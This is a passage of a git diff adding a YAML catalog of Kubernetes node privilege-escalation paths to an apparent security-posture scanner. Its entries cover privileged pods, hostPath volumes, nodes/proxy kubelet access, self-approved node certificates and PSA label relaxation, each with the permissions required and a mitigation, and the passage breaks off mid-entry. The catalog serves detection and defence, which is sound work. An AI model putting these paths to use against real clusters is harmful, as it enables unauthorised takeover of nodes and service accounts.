krte-sc-prod. The collection is an external review attestation, never inferred from a ConfigMap patch alone; missing, partial, duplicate or mismatched records create no path. diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/nodes.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/nodes.yaml new file mode 100644 index 0000000000..5f04cf0da2 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/nodes.yaml @@ -0,0 +1,686 @@ +# catalog_description: Only principal-to-principal or principal-to-additional-permission +# escalation paths belong here. A source must control a credential or hold the +# required verbs, perform the named action, and reach a known target identity +# or new effective permission. Generic Secret reads and guardrail changes +# without a proven identity or permission gain are excluded. +# Canonical provider policy: peaso/privesc/catalog_policy.yaml. +# Kubernetes node-level techniques: reach node credentials (k8s_node) through host-privileged +# pods, PSA/namespace manipulation, kubelet access or node client certificates, and what a node +# identity reaches. Conventions: see header of rbac.yaml. Source: hacktricks-cloud rev a53b46392c, refreshed to 171e422. + +- id: k8s-nodes-privileged-pod-create + provider: k8s + service: nodes + title: Create a host-privileged pod (privileged container or host-root hostPath) + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#pod-create--escape + source_revision: 2415fadfbd + summary: The source can obtain the privileges of the nodes it can schedule a host-privileged pod onto. + requires: + all_of: + - verb: create + resource: pods + namespace: "{pivot.namespace}" + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + scope: cluster + aggregate_as: "Nodes of {cluster}" + conditions: + - id: other_admission_blocks_host_access + description: Non-PSA admission (Kyverno, Gatekeeper, VAP, OpenShift SCC) may reject privileged/hostPath/hostPID pods. + - id: psa_cluster_default_not_collected + description: An unlabeled namespace can still inherit a baseline or restricted cluster-wide PSA default, which is not in the Kubernetes resource inventory. + - id: node_reachable_by_scheduling + description: The pod can pin itself with nodeName/tolerations, so tainted nodes (including self-managed control-plane nodes) are reachable unless admission strips them; managed control planes are not nodes. + blockers: [pivot_namespace_psa_enforce_baseline_or_restricted, admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: critical + mitigation: Enforce Pod Security Admission baseline or restricted on every namespace where untrusted subjects can create pods. + references: + - https://kubernetes.io/docs/concepts/security/pod-security-standards/ + - https://kubernetes.io/docs/concepts/security/pod-security-admission/ + notes: The blocker reads the pod-security.kubernetes.io/enforce label of the pivot namespace; the cluster-wide PSA default is not collected, so an unlabeled namespace stays conditional. A privileged container or a writable hostPath of / (or a runtime-socket mount) yields node root; hostPID, hostIPC or hostNetwork alone do not (hostNetwork reaches node metadata, see k8s-cloud-hostnetwork-pod-node-identity). Added SYS_ADMIN/SYS_MODULE without privileged mode is runtime-dependent. PSA baseline forbids all of these, so the blocker covers every variant. + +- id: k8s-nodes-privileged-controller-create + provider: k8s + service: nodes + title: Create or modify a controller with a host-privileged pod template + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#createpatch-deployment-daemonsets-statefulsets-replicationcontrollers-replicasets-jobs-and-cronjobs + source_revision: 2415fadfbd + summary: The source can obtain the privileges of the nodes onto which a controller it controls schedules a host-privileged pod (every node for a DaemonSet). + requires: + all_of: [] + any_of: + - - {verb: create, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: create, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: create, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: create, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: create, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - - {verb: create, resource: jobs, api_group: batch, namespace: "{pivot.namespace}"} + - - {verb: create, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: update, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: update, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: update, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: update, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - - {verb: update, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + - - {verb: update, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + scope: cluster + aggregate_as: "Nodes of {cluster}" + conditions: + - id: other_admission_blocks_host_access + description: Non-PSA admission may reject privileged/hostPath/hostPID pod templates. + - id: psa_cluster_default_not_collected + description: An unlabeled namespace can still inherit a restrictive cluster-wide PSA default, which is not collected. + - id: controller_object_exists + description: A patch or update grant must cover the name of an existing controller in the same namespace; create rights do not need an existing controller. + blockers: [pivot_namespace_psa_enforce_baseline_or_restricted, admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: critical + mitigation: Enforce PSA baseline/restricted on namespaces where untrusted subjects manage workloads. + references: + - https://kubernetes.io/docs/concepts/security/pod-security-admission/ + notes: PSA evaluates pods created by controllers (and warns on templates). For patch/update, the evaluator joins exact named controller inventory before reaching nodes. Separate from k8s-nodes-privileged-pod-create because the permission set differs. + +- id: k8s-nodes-privileged-ephemeral-container + provider: k8s + service: nodes + title: Add a privileged ephemeral container to an existing pod + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#ephemeralcontainers + source_revision: 2415fadfbd + summary: The source may obtain the privileges of a node hosting a target pod by adding a privileged ephemeral container when the runtime exposes a usable host escape surface. + requires: + all_of: [] + any_of: + - - {verb: patch, resource: pods, subresource: ephemeralcontainers, namespace: "{pivot.namespace}"} + - - {verb: update, resource: pods, subresource: ephemeralcontainers, namespace: "{pivot.namespace}"} + target: + kind: k8s_node + selector: + k8s_node_hosting_pods_in_namespace: "{pivot.namespace}" + scope: cluster + aggregate_as: "Nodes running pods of {pivot.namespace}" + conditions: + - id: host_namespaces_fixed_by_pod + description: hostPID/hostNetwork and volumes are fixed by the existing pod. Privileged mode gives broad device and capability access, but node control still depends on the runtime, host mounts or another verified escape surface. + - id: exact_running_pod_write + description: The patch or update grant must cover an existing running Pod by name; permission limited to a different Pod does not reach this node. + - id: other_admission_blocks_host_access + description: Non-PSA admission may reject privileged ephemeral containers. + blockers: [pivot_namespace_psa_enforce_baseline_or_restricted, admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: critical + mitigation: Restrict pods/ephemeralcontainers and enforce PSA baseline/restricted. + references: + - https://kubernetes.io/docs/concepts/workloads/pods/ephemeral-containers/ + notes: PSA checks ephemeral containers at the pods/ephemeralcontainers subresource. The evaluator joins the grant to an exact running Pod on the target node. + +- id: k8s-nodes-exec-into-host-privileged-pod + provider: k8s + service: nodes + title: Exec into an existing pod with a privileged container or escape capability + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#privileged-pod-and-hostpid-escape + source_revision: 2415fadfbd + summary: The source can obtain the privileges of the nodes that run pods it can exec into whose containers are privileged or carry a node-escape capability. + requires: + all_of: + - verb: create + resource: pods + subresource: exec + namespace: "{pivot.namespace}" + target: + kind: k8s_node + selector: + k8s_node_hosting_privileged_pod_in_namespace: "{pivot.namespace}" + scope: cluster + aggregate_as: "Nodes running privileged pods of {pivot.namespace}" + conditions: + - id: cap_sys_admin_constrained_by_seccomp_apparmor + description: Added SYS_ADMIN (or ALL) without privileged mode is an escape only when seccomp/AppArmor/SELinux and the user namespace allow the needed mount or namespace-entry operation (cgroup v1 release_agent, a host device or a host PID to join). + - id: kernel_module_loading_restricted + description: SYS_MODULE needs the initial user namespace and a kernel without lockdown or mandatory module signing. + - id: open_by_handle_at_blocked_by_seccomp + description: DAC_READ_SEARCH reads host files through open_by_handle_at only when the syscall is allowed and a host file handle is reachable; it yields node credentials (read), not direct execution. + - id: ptrace_restricted_by_apparmor_or_yama + description: SYS_PTRACE with hostPID needs an attachable host process; the runtime AppArmor profile or Yama ptrace_scope may block it. + - id: target_container_selectable + description: The exec grant must cover the exact Pod by name, and the privileged or escape-capable container must be running; completed init containers do not supply this path. + blockers: [] + confidence: conditional + severity: critical + mitigation: Remove pods/exec in namespaces that run privileged DaemonSets (kube-system, CNI, monitoring agents) and drop privileged mode and SYS_ADMIN/SYS_MODULE/SYS_PTRACE/DAC_READ_SEARCH from workloads that do not need them. + references: + - https://kubernetes.io/docs/concepts/security/pod-security-standards/ + - https://kubernetes.io/docs/concepts/security/linux-kernel-security-constraints/ + - https://man7.org/linux/man-pages/man7/capabilities.7.html + notes: Not blocked by PSA because the pod already exists. Only active containers contribute privileged mode or capabilities; completed init containers are excluded. hostNetwork, hostIPC and hostPID alone do not match (hostNetwork is modelled as node cloud-identity reach in k8s-cloud-hostnetwork-pod-node-identity). Sensitive hostPath mounts are a separate entry (k8s-nodes-exec-into-host-mount-pod). Privileged DaemonSets (CNI, CSI, log agents) make this reach every node. The same applies to get pods/exec on clusters older than 1.35 (see k8s-workloads-pods-exec-get-websocket). + +- id: k8s-nodes-exec-into-host-mount-pod + provider: k8s + service: nodes + title: Exec into an existing pod that mounts a runtime socket or sensitive host path + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#runtime-sockets-and-kernel-helper-paths + source_revision: 2415fadfbd + summary: The source can obtain the privileges of the nodes that run pods it can exec into which mount a container runtime socket, node credential files, or a host-executed path writable. + requires: + all_of: + - verb: create + resource: pods + subresource: exec + namespace: "{pivot.namespace}" + target: + kind: k8s_node + selector: + k8s_node_hosting_host_mount_pod_in_namespace: "{pivot.namespace}" + scope: cluster + aggregate_as: "Nodes running host-mount pods of {pivot.namespace}" + conditions: + - id: node_credential_location_varies + description: A readOnly /etc or /etc/kubernetes mount exposes node or cluster credentials only where the distribution keeps them there (kubeadm kubelet.conf / control-plane admin.conf and PKI, k3s); managed node images often do not. + - id: host_write_needs_host_consumer + description: Writable /home, /var/lib/docker, /var/lib/containerd or /sys/fs/cgroup lead to host execution only if a host process later consumes the written file (SSH login, image layer, cgroup v1 release_agent). + - id: hostpath_subpath_narrows_mount + description: A subPath mount exposes only the named subdirectory of the hostPath volume. + - id: socket_usable_by_container_user + description: A runtime socket must be connectable by the container user (file mode, SELinux label); a readOnly mount does not prevent connecting. + - id: exact_active_container_mount + description: The exec grant must cover the exact Pod by name, and the sensitive host path must be mounted in a running container; a completed init container does not expose it through exec. + blockers: [] + confidence: conditional + severity: critical + mitigation: Do not mount runtime sockets, /, /var/lib/kubelet, /etc or host binary directories into workloads; mount specific paths readOnly and restrict pods/exec in namespaces running such agents. + references: + - https://kubernetes.io/docs/concepts/storage/volumes/#hostpath + - https://kubernetes.io/docs/concepts/security/pod-security-standards/ + notes: Derived matches are runtime sockets (docker, containerd, CRI-O, k3s, podman, buildkit) or any ancestor of them, readOnly mounts of / or of the kubelet credential paths (/var/lib/kubelet/pki, kubeconfig, pods), and writable mounts of host-executed paths (/etc cron/systemd/manifests/passwd, /root/.ssh, binary and library directories, /opt/cni/bin, /proc/sys/kernel/core_pattern, /sys/kernel/uevent_helper). Writable /var/log (kubelet log-symlink read) is not counted because it is kubelet-version dependent (see _excluded.yaml). Other hostPaths such as /etc/ssl/certs, /var/log or data directories do not match. + +- id: k8s-nodes-hostpath-persistentvolume + provider: k8s + service: nodes + title: Mount the node filesystem through a hostPath PersistentVolume + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/storage-and-networking.md#storage-control-objects + source_revision: a66f094ede + summary: The source can obtain the privileges of nodes by consuming a hostPath PersistentVolume it created, which Pod Security Admission does not inspect. + requires: + all_of: + - verb: create + resource: persistentvolumes + namespace: "*" + - verb: create + resource: persistentvolumeclaims + namespace: "{pivot.namespace}" + - any_of: + - {verb: create, resource: pods, namespace: "{pivot.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{pivot.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + scope: cluster + aggregate_as: "Nodes of {cluster}" + conditions: + - id: admission_blocks_hostpath_pv + description: Admission policies on PersistentVolume objects (e.g. Gatekeeper/Kyverno disallowing hostPath PVs) remove the edge. + - id: pv_binding_succeeds + description: The claim must bind to the created PV (storageClassName/selector match). + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: critical + mitigation: Restrict persistentvolumes create to storage administrators and deny hostPath PersistentVolumes via admission. + references: + - https://kubernetes.io/docs/concepts/storage/volumes/#hostpath + notes: PSA restricted allows persistentVolumeClaim volumes regardless of backing PV type, so the PSA blocker does not apply. A writable host root mount is required for full node access (writing a root-level file such as a cron or kubelet static pod gives code exec as root); without privileged mode, node credentials are still readable from the mounted filesystem. + +- id: k8s-nodes-namespace-psa-relabel + provider: k8s + service: nodes + title: Relax a namespace's Pod Security labels and create host-privileged pods + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-namespace-escalation.md#escape-to-the-node + source_revision: 2415fadfbd + summary: The source can obtain the privileges of nodes by removing the PSA enforcement label of a namespace where it can create pods. + requires: + all_of: + - any_of: + - {verb: create, resource: pods, namespace: "{pivot.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{pivot.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + any_of: + - - {verb: patch, resource: namespaces, namespace: "*", resource_name: "{pivot.namespace}"} + - - {verb: update, resource: namespaces, namespace: "*", resource_name: "{pivot.namespace}"} + - - {verb: patch, resource: namespaces, subresource: status, namespace: "*", resource_name: "{pivot.namespace}"} + - - {verb: update, resource: namespaces, subresource: status, namespace: "*", resource_name: "{pivot.namespace}"} + - - {verb: update, resource: namespaces, subresource: finalize, namespace: "*", resource_name: "{pivot.namespace}"} + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + scope: cluster + aggregate_as: "Nodes of {cluster}" + conditions: + - id: existing_restrictive_namespace_label + description: The namespace must currently enforce baseline or restricted PSA; a namespace already permitting privileged Pods needs no relabel and belongs to the direct Pod-create path. + - id: other_admission_blocks_host_access + description: Non-PSA admission (policies protecting namespace labels or rejecting privileged pods) may remove the edge. + - id: psa_cluster_default_not_collected + description: Removing a restrictive namespace label may still leave a baseline or restricted cluster-wide PSA default in force. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: critical + mitigation: Do not grant namespace update/patch (or namespaces/status, namespaces/finalize) to tenants; protect pod-security.kubernetes.io labels with a ValidatingAdmissionPolicy. + references: + - https://kubernetes.io/docs/concepts/security/pod-security-admission/ + notes: HackTricks reproduced on v1.37 that namespaces/status and namespaces/finalize writes can change Namespace labels consumed by PSA. Namespaces are cluster-scoped, so the namespace grant must come from a ClusterRole/ClusterRoleBinding with resourceNames covering the pivot. + +- id: k8s-nodes-namespace-create-privileged-pod + provider: k8s + service: nodes + title: Create a new namespace and host-privileged pods in it + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-namespace-escalation.md#escape-to-the-node + source_revision: 2415fadfbd + summary: The source can obtain the privileges of nodes by creating a namespace without PSA enforcement and creating pods there. + requires: + all_of: + - verb: create + resource: namespaces + namespace: "*" + - any_of: + - {verb: create, resource: pods, namespace: "*"} + - {verb: create, resource: deployments, api_group: apps, namespace: "*"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "*"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "*"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "*"} + - {verb: create, resource: replicationcontrollers, namespace: "*"} + - {verb: create, resource: jobs, api_group: batch, namespace: "*"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "*"} + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + scope: cluster + aggregate_as: "Nodes of {cluster}" + conditions: + - id: psa_cluster_default_level + description: The PSA AdmissionConfiguration default (not collected) may enforce baseline/restricted on unlabeled namespaces; an admission policy may require PSA labels on new namespaces. + - id: other_admission_blocks_host_access + description: Non-PSA admission may reject privileged pods. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: critical + mitigation: Restrict namespace creation; set a cluster-wide PSA default of baseline or restricted. + references: + - https://kubernetes.io/docs/tasks/configure-pod-container/enforce-standards-admission-controller/ + notes: Pods create must be effective in the newly created namespace, i.e. granted cluster-wide (a RoleBinding cannot pre-exist in a namespace that does not yet exist unless created by automation the source triggers). + +- id: k8s-nodes-nodes-proxy-pod-sas + provider: k8s + service: nodes + title: Use the kubelet API through nodes/proxy + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/node-permissions-and-status.md#nodes-proxy + source_revision: 2415fadfbd + summary: The source can obtain the privileges of the ServiceAccounts of pods running on nodes covered by its nodes/proxy grant, by executing in those pods through the kubelet. + requires: + all_of: [] + any_of: + - - {verb: create, resource: nodes, subresource: proxy, namespace: "*", resource_name: "{target.node}"} + - - {verb: get, resource: nodes, subresource: proxy, namespace: "*", resource_name: "{target.node}"} + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "*" + k8s_sa_used_by_running_pod: true + scope: cluster + aggregate_as: "ServiceAccounts of pods on proxied nodes in {cluster}" + conditions: + - id: kubelet_webhook_authorization + description: The kubelet must authorize via the API server (Webhook mode, default in managed clusters) so the nodes/proxy grant is honored. + - id: get_only_needs_direct_kubelet + description: With only get, execution needs direct network reach to the kubelet port (WebSocket upgrade to the kubelet); the API-server proxy path maps exec to create. + blockers: [] + confidence: conditional + severity: critical + mitigation: Remove nodes/proxy from monitoring and other roles; use the fine-grained kubelet subresources (nodes/metrics, nodes/stats, nodes/log) instead. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/ + notes: "{target.node} = the node hosting the target pod. Bypasses API-server audit for pods/exec. Executing into privileged pods on those nodes also reaches the node (k8s-nodes-nodes-proxy-node)." + +- id: k8s-nodes-nodes-proxy-node + provider: k8s + service: nodes + title: Use nodes/proxy to execute in privileged pods + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/node-permissions-and-status.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion + source_revision: 2415fadfbd + summary: The source can obtain the privileges of covered nodes that run at least one pod with a privileged container or node-escape capability. + requires: + all_of: [] + any_of: + - - {verb: create, resource: nodes, subresource: proxy, namespace: "*", resource_name: "{target.name}"} + - - {verb: get, resource: nodes, subresource: proxy, namespace: "*", resource_name: "{target.name}"} + target: + kind: k8s_node + selector: + k8s_node_hosting_privileged_pod_in_namespace: "*" + scope: cluster + aggregate_as: "Proxied nodes running privileged pods in {cluster}" + conditions: + - id: kubelet_webhook_authorization + description: The kubelet must authorize via the API server. + - id: get_only_needs_direct_kubelet + description: With only get, direct network reach to the kubelet port is required. + blockers: [] + confidence: conditional + severity: critical + mitigation: Remove nodes/proxy from non-admin roles. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/ + notes: Clusters running privileged DaemonSets (CNI, CSI, kube-proxy) make every node reachable. Uses the same pod classification as k8s-nodes-exec-into-host-privileged-pod (added capabilities are conditional); sensitive hostPath pods are covered by k8s-nodes-nodes-proxy-host-mount-node. + +- id: k8s-nodes-nodes-proxy-host-mount-node + provider: k8s + service: nodes + title: Use nodes/proxy to execute in pods mounting a runtime socket or sensitive host path + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/node-permissions-and-status.md#nodes-proxy + source_revision: 2415fadfbd + summary: The source can obtain the privileges of covered nodes that run at least one pod mounting a container runtime socket, node credential files, or a host-executed path writable. + requires: + all_of: [] + any_of: + - - {verb: create, resource: nodes, subresource: proxy, namespace: "*", resource_name: "{target.name}"} + - - {verb: get, resource: nodes, subresource: proxy, namespace: "*", resource_name: "{target.name}"} + target: + kind: k8s_node + selector: + k8s_node_hosting_host_mount_pod_in_namespace: "*" + scope: cluster + aggregate_as: "Proxied nodes running host-mount pods in {cluster}" + conditions: + - id: kubelet_webhook_authorization + description: The kubelet must authorize via the API server. + - id: get_only_needs_direct_kubelet + description: With only get, direct network reach to the kubelet port is required. + blockers: [] + confidence: conditional + severity: critical + mitigation: Remove nodes/proxy from non-admin roles and avoid runtime-socket or host-root mounts in node agents. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/ + notes: Same hostPath classification and conditions as k8s-nodes-exec-into-host-mount-pod. + +- id: k8s-nodes-csr-kubelet-client-signer + provider: k8s + service: certificates + title: Issue and approve a node client certificate + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#certificate-signing-requests + source_revision: 2415fadfbd + summary: The source can obtain the privileges of any node identity (system:node:) by self-approving a kube-apiserver-client-kubelet certificate. + requires: + all_of: + - {verb: create, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + # Read the issued certificate back (status.certificate). + - any_of: + - {verb: get, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: list, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: watch, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - any_of: + - {verb: update, resource: certificatesigningrequests, subresource: approval, api_group: certificates.k8s.io, namespace: "*"} + - {verb: patch, resource: certificatesigningrequests, subresource: approval, api_group: certificates.k8s.io, namespace: "*"} + # The signer check also accepts the domain wildcard resourceName. + - any_of: + - {verb: approve, resource: signers, api_group: certificates.k8s.io, namespace: "*", resource_name: "kubernetes.io/kube-apiserver-client-kubelet"} + - {verb: approve, resource: signers, api_group: certificates.k8s.io, namespace: "*", resource_name: "kubernetes.io/*"} + target: + kind: k8s_node + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Nodes of {cluster}" + conditions: + - id: kubelet_client_signer_enabled + description: The controller-manager must sign kubernetes.io/kube-apiserver-client-kubelet with the cluster CA (managed offerings may differ). + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict CSR approval and signer approve to the controller-manager and cluster administrators. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#kubernetes-signers + notes: Per Kubernetes docs this signer only issues subjects with organization system:nodes and CN system:node:, so the reachable identities are nodes (not users or system:masters). NodeRestriction then limits each node identity to its own node's pods and objects. + +- id: k8s-nodes-csr-nodeclient-autoapprove + provider: k8s + service: certificates + title: Obtain an auto-approved node client certificate (bootstrap nodeclient) + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#certificate-signing-requests + source_revision: 2415fadfbd + summary: The source can obtain the privileges of any node identity by submitting a node client CSR that the controller-manager auto-approves. + requires: + all_of: + - {verb: create, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: get, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: create, resource: certificatesigningrequests, subresource: nodeclient, api_group: certificates.k8s.io, namespace: "*"} + target: + kind: k8s_node + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Nodes of {cluster}" + conditions: + - id: csrapproving_controller_enabled + description: The csrapproving controller of kube-controller-manager must be enabled (default with TLS bootstrapping); managed providers may use their own approvers. + blockers: [] + confidence: conditional + severity: high + mitigation: Grant certificatesigningrequests/nodeclient only to system:bootstrappers with short-lived bootstrap tokens, and remove bootstrap tokens after node join. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/kubelet-tls-bootstrapping/#approval + notes: Based on the official TLS bootstrapping docs (HackTricks only mentions that node bootstrap signers have different checks). The nodeclient approval does not tie the requested node name to the requester, unlike selfnodeclient, which only renews the requester's own node certificate. + +- id: k8s-nodes-node-mint-pod-sa-tokens + provider: k8s + service: nodes + title: Node identity mints tokens for ServiceAccounts of its pods + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#privesc-to-cluster-admin + source_revision: 2415fadfbd + summary: A node identity can request API tokens for the ServiceAccounts used by pods running on that node when Node authorization permits it. + source_kind: k8s_node + requires: + all_of: [] + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "*" + k8s_node_hosting_pods_with_sa: true + scope: cluster + aggregate_as: "ServiceAccounts of pods on {source.name}" + conditions: + - id: node_authorizer_and_audience + description: The Node authorizer must allow a token for the Pod's ServiceAccount; NodeRestriction can limit requested audiences to those referenced by Pods on that node. + blockers: [] + confidence: conditional + severity: high + mitigation: Keep privileged ServiceAccounts' pods off nodes that run untrusted workloads (taints, dedicated node pools) and minimize host-privileged pods. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/node/ + notes: The evaluator derives a definite target from a running Pod on the source node; a Pod bound but not running stays conditional. NodeRestriction limits non-default token audiences to those referenced by Pods on that node unless extra RBAC grants them. HackTricks also covers reading existing tokens from the node filesystem (attacking-kubernetes-from-inside-a-pod.md#steal-secrets). + +- id: k8s-nodes-control-plane-node + provider: k8s + service: nodes + title: Control of a self-managed control-plane host + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/node-permissions-and-status.md#control-plane-node-artifacts + source_revision: 2415fadfbd + summary: Control of a self-managed control-plane host may expose its API-server or etcd credentials and their cluster-admin privileges. + source_kind: k8s_node + source_selector: + k8s_node_role: control-plane + requires: + all_of: [] + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "cluster-admin of {cluster}" + conditions: + - id: self_managed_control_plane + description: Only self-managed clusters (kubeadm, OpenShift, k3s) have control-plane nodes; EKS/GKE/AKS control planes are not reachable as nodes. + - id: control_plane_host_access + description: A node API credential alone cannot read local API-server or etcd files; the source must control the host filesystem or a workload with access to those files. + blockers: [] + confidence: conditional + severity: critical + mitigation: Taint control-plane nodes, block untrusted pods from tolerating the taint via admission, and protect /etc/kubernetes/pki and etcd. + references: + - https://kubernetes.io/docs/setup/best-practices/certificates/ + notes: Control-plane nodes hold the cluster CA key, admin kubeconfig and etcd client certificates. Identify control-plane nodes by the node-role.kubernetes.io/control-plane label. + +- id: k8s-nodes-replacement-pod-to-controlled-node + provider: k8s + service: nodes + title: Force a controller-managed pod onto a controlled node + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/node-permissions-and-status.md#delete-pods--unschedulable-nodes + source_revision: 2415fadfbd + summary: A source that already controls a node can obtain the privileges of ServiceAccounts of controller-managed pods in the namespace by forcing their replacements onto that node. + source_selector: + source_reaches_kind: k8s_node + requires: + all_of: [] + any_of: + # A NoExecute taint written through nodes patch/update both evicts the running pod and excludes competing nodes. + - - {verb: patch, resource: nodes, namespace: "*"} + - - {verb: update, resource: nodes, namespace: "*"} + # Otherwise: one way to make the controller create a replacement, plus one way to exclude competing nodes. + - - any_of: + - {verb: delete, resource: pods, namespace: "{target.namespace}"} + - {verb: create, resource: pods, subresource: eviction, namespace: "{target.namespace}"} + - {verb: patch, resource: pods, namespace: "{target.namespace}"} + - {verb: update, resource: pods, namespace: "{target.namespace}"} + - {verb: patch, resource: pods, subresource: status, namespace: "{target.namespace}"} + - {verb: update, resource: pods, subresource: status, namespace: "{target.namespace}"} + - any_of: + - {verb: patch, resource: nodes, subresource: status, namespace: "*"} + - {verb: update, resource: nodes, subresource: status, namespace: "*"} + - {verb: delete, resource: nodes, namespace: "*"} + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + k8s_sa_used_by_controller_managed_pod: true + scope: same_namespace + aggregate_as: "ServiceAccounts of controller-managed pods in {target.namespace}" + conditions: + - id: replacing_controller_reference + description: The Pod must have a controller owner reference to a ReplicaSet, ReplicationController, DaemonSet, StatefulSet, or Job; an arbitrary owner reference does not establish replacement. + - id: controlled_node_satisfies_pod_constraints + description: The node the source controls (enforced by source_reaches_kind k8s_node) must satisfy the replacement pod's scheduling constraints. + - id: not_a_node_credential + description: Default node credentials cannot do this (NodeRestriction limits deletes and status writes to their own node); the grants must belong to a non-node identity. + - id: pdb_blocks_eviction + description: A PodDisruptionBudget may block the eviction variant. + - id: replacement_trigger_accepted + description: A pods patch/update replacement works only by changing labels so the pod leaves its controller selector (the orphan keeps running); a pods/status write works only if the terminal phase is accepted and the controller replaces failed pods. + - id: every_competing_node_excluded + description: Every other node that satisfies the pod's constraints must be excluded (allocatable pods set to 0 via nodes/status, Node object deletion, or NoSchedule/NoExecute taint or cordon via nodes patch/update); kubelets restore status and re-register deleted Nodes, and tolerations or spec.nodeName defeat taints. + blockers: [admission_policy, admission_webhook, kyverno_policy, 